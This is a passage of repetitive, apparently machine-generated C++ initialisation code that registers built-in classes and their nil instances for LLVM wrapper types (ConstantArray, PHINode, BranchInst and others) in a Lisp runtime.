classllvmo__ConstantArray_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantArray_Oval,_lisp,llvmo::ConstantArray_O::static_classSymbol());\n    llvmo::ConstantArray_O::___staticMetaClass = classllvmo__ConstantArray_Oval;\n    _lisp->setf_findClass(llvmo::ConstantArray_O::static_classSymbol(),classllvmo__ConstantArray_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantArray_O>;\n        llvmo::ConstantArray_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantArray_O::static_className() % (void*)(llvmo::ConstantArray_O::static_newNil_callback()) );\n    classllvmo__ConstantArray_Oval->setInstance_newNil_callback(llvmo::ConstantArray_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantArray_O> nil_for_class(new llvmo::ConstantArray_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantArray_O::static_className() );\n        llvmo::ConstantArray_O::_nil = nil_for_class;\n        classllvmo__ConstantArray_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantArray_Oval->setSupportsSlots(llvmo::ConstantArray_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantDataSequential_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantDataSequential_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ConstantDataSequential_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantDataSequential_Oval,_lisp,llvmo::ConstantDataSequential_O::static_classSymbol());\n    llvmo::ConstantDataSequential_O::___staticMetaClass = classllvmo__ConstantDataSequential_Oval;\n    _lisp->setf_findClass(llvmo::ConstantDataSequential_O::static_classSymbol(),classllvmo__ConstantDataSequential_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantDataSequential_O>;\n        llvmo::ConstantDataSequential_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantDataSequential_O::static_className() % (void*)(llvmo::ConstantDataSequential_O::static_newNil_callback()) );\n    classllvmo__ConstantDataSequential_Oval->setInstance_newNil_callback(llvmo::ConstantDataSequential_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantDataSequential_O> nil_for_class(new llvmo::ConstantDataSequential_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantDataSequential_O::static_className() );\n        llvmo::ConstantDataSequential_O::_nil = nil_for_class;\n        classllvmo__ConstantDataSequential_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantDataSequential_Oval->setSupportsSlots(llvmo::ConstantDataSequential_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantExpr_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantExpr_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ConstantExpr_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantExpr_Oval,_lisp,llvmo::ConstantExpr_O::static_classSymbol());\n    llvmo::ConstantExpr_O::___staticMetaClass = classllvmo__ConstantExpr_Oval;\n    _lisp->setf_findClass(llvmo::ConstantExpr_O::static_classSymbol(),classllvmo__ConstantExpr_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantExpr_O>;\n        llvmo::ConstantExpr_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantExpr_O::static_className() % (void*)(llvmo::ConstantExpr_O::static_newNil_callback()) );\n    classllvmo__ConstantExpr_Oval->setInstance_newNil_callback(llvmo::ConstantExpr_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantExpr_O> nil_for_class(new llvmo::ConstantExpr_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantExpr_O::static_className() );\n        llvmo::ConstantExpr_O::_nil = nil_for_class;\n        classllvmo__ConstantExpr_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantExpr_Oval->setSupportsSlots(llvmo::ConstantExpr_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantFP_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantFP_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ConstantFP_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantFP_Oval,_lisp,llvmo::ConstantFP_O::static_classSymbol());\n    llvmo::ConstantFP_O::___staticMetaClass = classllvmo__ConstantFP_Oval;\n    _lisp->setf_findClass(llvmo::ConstantFP_O::static_classSymbol(),classllvmo__ConstantFP_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantFP_O>;\n        llvmo::ConstantFP_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantFP_O::static_className() % (void*)(llvmo::ConstantFP_O::static_newNil_callback()) );\n    classllvmo__ConstantFP_Oval->setInstance_newNil_callback(llvmo::ConstantFP_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantFP_O> nil_for_class(new llvmo::ConstantFP_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantFP_O::static_className() );\n        llvmo::ConstantFP_O::_nil = nil_for_class;\n        classllvmo__ConstantFP_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantFP_Oval->setSupportsSlots(llvmo::ConstantFP_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantInt_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantInt_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ConstantInt_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantInt_Oval,_lisp,llvmo::ConstantInt_O::static_classSymbol());\n    llvmo::ConstantInt_O::___staticMetaClass = classllvmo__ConstantInt_Oval;\n    _lisp->setf_findClass(llvmo::ConstantInt_O::static_classSymbol(),classllvmo__ConstantInt_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantInt_O>;\n        llvmo::ConstantInt_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantInt_O::static_className() % (void*)(llvmo::ConstantInt_O::static_newNil_callback()) );\n    classllvmo__ConstantInt_Oval->setInstance_newNil_callback(llvmo::ConstantInt_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantInt_O> nil_for_class(new llvmo::ConstantInt_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantInt_O::static_className() );\n        llvmo::ConstantInt_O::_nil = nil_for_class;\n        classllvmo__ConstantInt_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantInt_Oval->setSupportsSlots(llvmo::ConstantInt_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantPointerNull_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantPointerNull_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__ConstantPointerNull_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__ConstantPointerNull_Oval,_lisp,llvmo::ConstantPointerNull_O::static_classSymbol());\n    llvmo::ConstantPointerNull_O::___staticMetaClass = classllvmo__ConstantPointerNull_Oval;\n    _lisp->setf_findClass(llvmo::ConstantPointerNull_O::static_classSymbol(),classllvmo__ConstantPointerNull_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::ConstantPointerNull_O>;\n        llvmo::ConstantPointerNull_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::ConstantPointerNull_O::static_className() % (void*)(llvmo::ConstantPointerNull_O::static_newNil_callback()) );\n    classllvmo__ConstantPointerNull_Oval->setInstance_newNil_callback(llvmo::ConstantPointerNull_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::ConstantPointerNull_O> nil_for_class(new llvmo::ConstantPointerNull_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::ConstantPointerNull_O::static_className() );\n        llvmo::ConstantPointerNull_O::_nil = nil_for_class;\n        classllvmo__ConstantPointerNull_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__ConstantPointerNull_Oval->setSupportsSlots(llvmo::ConstantPointerNull_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__DataLayout_Oval]\"));\n    core::BuiltInClass_sp classllvmo__DataLayout_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__DataLayout_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__DataLayout_Oval,_lisp,llvmo::DataLayout_O::static_classSymbol());\n    llvmo::DataLayout_O::___staticMetaClass = classllvmo__DataLayout_Oval;\n    _lisp->setf_findClass(llvmo::DataLayout_O::static_classSymbol(),classllvmo__DataLayout_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::DataLayout_O>;\n        llvmo::DataLayout_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::DataLayout_O::static_className() % (void*)(llvmo::DataLayout_O::static_newNil_callback()) );\n    classllvmo__DataLayout_Oval->setInstance_newNil_callback(llvmo::DataLayout_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::DataLayout_O> nil_for_class(new llvmo::DataLayout_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::DataLayout_O::static_className() );\n        llvmo::DataLayout_O::_nil = nil_for_class;\n        classllvmo__DataLayout_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__DataLayout_Oval->setSupportsSlots(llvmo::DataLayout_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__FenceInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__FenceInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__FenceInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__FenceInst_Oval,_lisp,llvmo::FenceInst_O::static_classSymbol());\n    llvmo::FenceInst_O::___staticMetaClass = classllvmo__FenceInst_Oval;\n    _lisp->setf_findClass(llvmo::FenceInst_O::static_classSymbol(),classllvmo__FenceInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::FenceInst_O>;\n        llvmo::FenceInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::FenceInst_O::static_className() % (void*)(llvmo::FenceInst_O::static_newNil_callback()) );\n    classllvmo__FenceInst_Oval->setInstance_newNil_callback(llvmo::FenceInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::FenceInst_O> nil_for_class(new llvmo::FenceInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::FenceInst_O::static_className() );\n        llvmo::FenceInst_O::_nil = nil_for_class;\n        classllvmo__FenceInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__FenceInst_Oval->setSupportsSlots(llvmo::FenceInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__GlobalValue_Oval]\"));\n    core::BuiltInClass_sp classllvmo__GlobalValue_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__GlobalValue_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__GlobalValue_Oval,_lisp,llvmo::GlobalValue_O::static_classSymbol());\n    llvmo::GlobalValue_O::___staticMetaClass = classllvmo__GlobalValue_Oval;\n    _lisp->setf_findClass(llvmo::GlobalValue_O::static_classSymbol(),classllvmo__GlobalValue_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::GlobalValue_O>;\n        llvmo::GlobalValue_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::GlobalValue_O::static_className() % (void*)(llvmo::GlobalValue_O::static_newNil_callback()) );\n    classllvmo__GlobalValue_Oval->setInstance_newNil_callback(llvmo::GlobalValue_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::GlobalValue_O> nil_for_class(new llvmo::GlobalValue_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::GlobalValue_O::static_className() );\n        llvmo::GlobalValue_O::_nil = nil_for_class;\n        classllvmo__GlobalValue_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__GlobalValue_Oval->setSupportsSlots(llvmo::GlobalValue_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__LandingPadInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__LandingPadInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__LandingPadInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__LandingPadInst_Oval,_lisp,llvmo::LandingPadInst_O::static_classSymbol());\n    llvmo::LandingPadInst_O::___staticMetaClass = classllvmo__LandingPadInst_Oval;\n    _lisp->setf_findClass(llvmo::LandingPadInst_O::static_classSymbol(),classllvmo__LandingPadInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::LandingPadInst_O>;\n        llvmo::LandingPadInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::LandingPadInst_O::static_className() % (void*)(llvmo::LandingPadInst_O::static_newNil_callback()) );\n    classllvmo__LandingPadInst_Oval->setInstance_newNil_callback(llvmo::LandingPadInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::LandingPadInst_O> nil_for_class(new llvmo::LandingPadInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::LandingPadInst_O::static_className() );\n        llvmo::LandingPadInst_O::_nil = nil_for_class;\n        classllvmo__LandingPadInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__LandingPadInst_Oval->setSupportsSlots(llvmo::LandingPadInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__PHINode_Oval]\"));\n    core::BuiltInClass_sp classllvmo__PHINode_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__PHINode_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__PHINode_Oval,_lisp,llvmo::PHINode_O::static_classSymbol());\n    llvmo::PHINode_O::___staticMetaClass = classllvmo__PHINode_Oval;\n    _lisp->setf_findClass(llvmo::PHINode_O::static_classSymbol(),classllvmo__PHINode_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::PHINode_O>;\n        llvmo::PHINode_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::PHINode_O::static_className() % (void*)(llvmo::PHINode_O::static_newNil_callback()) );\n    classllvmo__PHINode_Oval->setInstance_newNil_callback(llvmo::PHINode_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::PHINode_O> nil_for_class(new llvmo::PHINode_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::PHINode_O::static_className() );\n        llvmo::PHINode_O::_nil = nil_for_class;\n        classllvmo__PHINode_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__PHINode_Oval->setSupportsSlots(llvmo::PHINode_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__PointerType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__PointerType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__PointerType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__PointerType_Oval,_lisp,llvmo::PointerType_O::static_classSymbol());\n    llvmo::PointerType_O::___staticMetaClass = classllvmo__PointerType_Oval;\n    _lisp->setf_findClass(llvmo::PointerType_O::static_classSymbol(),classllvmo__PointerType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::PointerType_O>;\n        llvmo::PointerType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::PointerType_O::static_className() % (void*)(llvmo::PointerType_O::static_newNil_callback()) );\n    classllvmo__PointerType_Oval->setInstance_newNil_callback(llvmo::PointerType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::PointerType_O> nil_for_class(new llvmo::PointerType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::PointerType_O::static_className() );\n        llvmo::PointerType_O::_nil = nil_for_class;\n        classllvmo__PointerType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__PointerType_Oval->setSupportsSlots(llvmo::PointerType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__StoreInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__StoreInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__StoreInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__StoreInst_Oval,_lisp,llvmo::StoreInst_O::static_classSymbol());\n    llvmo::StoreInst_O::___staticMetaClass = classllvmo__StoreInst_Oval;\n    _lisp->setf_findClass(llvmo::StoreInst_O::static_classSymbol(),classllvmo__StoreInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::StoreInst_O>;\n        llvmo::StoreInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::StoreInst_O::static_className() % (void*)(llvmo::StoreInst_O::static_newNil_callback()) );\n    classllvmo__StoreInst_Oval->setInstance_newNil_callback(llvmo::StoreInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::StoreInst_O> nil_for_class(new llvmo::StoreInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::StoreInst_O::static_className() );\n        llvmo::StoreInst_O::_nil = nil_for_class;\n        classllvmo__StoreInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__StoreInst_Oval->setSupportsSlots(llvmo::StoreInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__TerminatorInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__TerminatorInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__TerminatorInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__TerminatorInst_Oval,_lisp,llvmo::TerminatorInst_O::static_classSymbol());\n    llvmo::TerminatorInst_O::___staticMetaClass = classllvmo__TerminatorInst_Oval;\n    _lisp->setf_findClass(llvmo::TerminatorInst_O::static_classSymbol(),classllvmo__TerminatorInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::TerminatorInst_O>;\n        llvmo::TerminatorInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::TerminatorInst_O::static_className() % (void*)(llvmo::TerminatorInst_O::static_newNil_callback()) );\n    classllvmo__TerminatorInst_Oval->setInstance_newNil_callback(llvmo::TerminatorInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::TerminatorInst_O> nil_for_class(new llvmo::TerminatorInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::TerminatorInst_O::static_className() );\n        llvmo::TerminatorInst_O::_nil = nil_for_class;\n        classllvmo__TerminatorInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__TerminatorInst_Oval->setSupportsSlots(llvmo::TerminatorInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__UnaryInstruction_Oval]\"));\n    core::BuiltInClass_sp classllvmo__UnaryInstruction_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__UnaryInstruction_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__UnaryInstruction_Oval,_lisp,llvmo::UnaryInstruction_O::static_classSymbol());\n    llvmo::UnaryInstruction_O::___staticMetaClass = classllvmo__UnaryInstruction_Oval;\n    _lisp->setf_findClass(llvmo::UnaryInstruction_O::static_classSymbol(),classllvmo__UnaryInstruction_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::UnaryInstruction_O>;\n        llvmo::UnaryInstruction_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::UnaryInstruction_O::static_className() % (void*)(llvmo::UnaryInstruction_O::static_newNil_callback()) );\n    classllvmo__UnaryInstruction_Oval->setInstance_newNil_callback(llvmo::UnaryInstruction_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::UnaryInstruction_O> nil_for_class(new llvmo::UnaryInstruction_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::UnaryInstruction_O::static_className() );\n        llvmo::UnaryInstruction_O::_nil = nil_for_class;\n        classllvmo__UnaryInstruction_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__UnaryInstruction_Oval->setSupportsSlots(llvmo::UnaryInstruction_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__UndefValue_Oval]\"));\n    core::BuiltInClass_sp classllvmo__UndefValue_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__UndefValue_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__UndefValue_Oval,_lisp,llvmo::UndefValue_O::static_classSymbol());\n    llvmo::UndefValue_O::___staticMetaClass = classllvmo__UndefValue_Oval;\n    _lisp->setf_findClass(llvmo::UndefValue_O::static_classSymbol(),classllvmo__UndefValue_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::UndefValue_O>;\n        llvmo::UndefValue_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::UndefValue_O::static_className() % (void*)(llvmo::UndefValue_O::static_newNil_callback()) );\n    classllvmo__UndefValue_Oval->setInstance_newNil_callback(llvmo::UndefValue_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::UndefValue_O> nil_for_class(new llvmo::UndefValue_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::UndefValue_O::static_className() );\n        llvmo::UndefValue_O::_nil = nil_for_class;\n        classllvmo__UndefValue_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__UndefValue_Oval->setSupportsSlots(llvmo::UndefValue_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__VectorType_Oval]\"));\n    core::BuiltInClass_sp classllvmo__VectorType_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__VectorType_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__VectorType_Oval,_lisp,llvmo::VectorType_O::static_classSymbol());\n    llvmo::VectorType_O::___staticMetaClass = classllvmo__VectorType_Oval;\n    _lisp->setf_findClass(llvmo::VectorType_O::static_classSymbol(),classllvmo__VectorType_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::VectorType_O>;\n        llvmo::VectorType_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::VectorType_O::static_className() % (void*)(llvmo::VectorType_O::static_newNil_callback()) );\n    classllvmo__VectorType_Oval->setInstance_newNil_callback(llvmo::VectorType_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::VectorType_O> nil_for_class(new llvmo::VectorType_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::VectorType_O::static_className() );\n        llvmo::VectorType_O::_nil = nil_for_class;\n        classllvmo__VectorType_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__VectorType_Oval->setSupportsSlots(llvmo::VectorType_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__AllocaInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__AllocaInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__AllocaInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__AllocaInst_Oval,_lisp,llvmo::AllocaInst_O::static_classSymbol());\n    llvmo::AllocaInst_O::___staticMetaClass = classllvmo__AllocaInst_Oval;\n    _lisp->setf_findClass(llvmo::AllocaInst_O::static_classSymbol(),classllvmo__AllocaInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::AllocaInst_O>;\n        llvmo::AllocaInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::AllocaInst_O::static_className() % (void*)(llvmo::AllocaInst_O::static_newNil_callback()) );\n    classllvmo__AllocaInst_Oval->setInstance_newNil_callback(llvmo::AllocaInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::AllocaInst_O> nil_for_class(new llvmo::AllocaInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::AllocaInst_O::static_className() );\n        llvmo::AllocaInst_O::_nil = nil_for_class;\n        classllvmo__AllocaInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__AllocaInst_Oval->setSupportsSlots(llvmo::AllocaInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__BranchInst_Oval]\"));\n    core::BuiltInClass_sp classllvmo__BranchInst_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    classllvmo__BranchInst_Oval->__setup_stage1_with_sharedPtr_lisp_sid(classllvmo__BranchInst_Oval,_lisp,llvmo::BranchInst_O::static_classSymbol());\n    llvmo::BranchInst_O::___staticMetaClass = classllvmo__BranchInst_Oval;\n    _lisp->setf_findClass(llvmo::BranchInst_O::static_classSymbol(),classllvmo__BranchInst_Oval);\n    {\n        AllocatorCallback cb = &new_Nil<llvmo::BranchInst_O>;\n        llvmo::BranchInst_O::___set_static_newNil_callback(cb);\n    }\n    LOG(BF(\"Set _newNil_callback for class(%s) to %X\")% llvmo::BranchInst_O::static_className() % (void*)(llvmo::BranchInst_O::static_newNil_callback()) );\n    classllvmo__BranchInst_Oval->setInstance_newNil_callback(llvmo::BranchInst_O::static_newNil_callback());\n    {\n        boost::shared_ptr<llvmo::BranchInst_O> nil_for_class(new llvmo::BranchInst_O(undefinedMetaClass));\n        nil_for_class->__setWeakThis(nil_for_class);\n        LOG(BF(\"Created nil for class[%s]\") % llvmo::BranchInst_O::static_className() );\n        llvmo::BranchInst_O::_nil = nil_for_class;\n        classllvmo__BranchInst_Oval->setInstanceNil(nil_for_class);\n    }\n    classllvmo__BranchInst_Oval->setSupportsSlots(llvmo::BranchInst_O::static_supportsSlots());\n    /* ----- the class and its nil are now defined but the _class of these objects is undefined - set in next stage  ----- */\n\n    LOG(BF(\"Creating class[classllvmo__ConstantDataArray_Oval]\"));\n    core::BuiltInClass_sp classllvmo__ConstantDataArray_Oval = core::BuiltInClass_O::create(undefinedMetaClass);\n    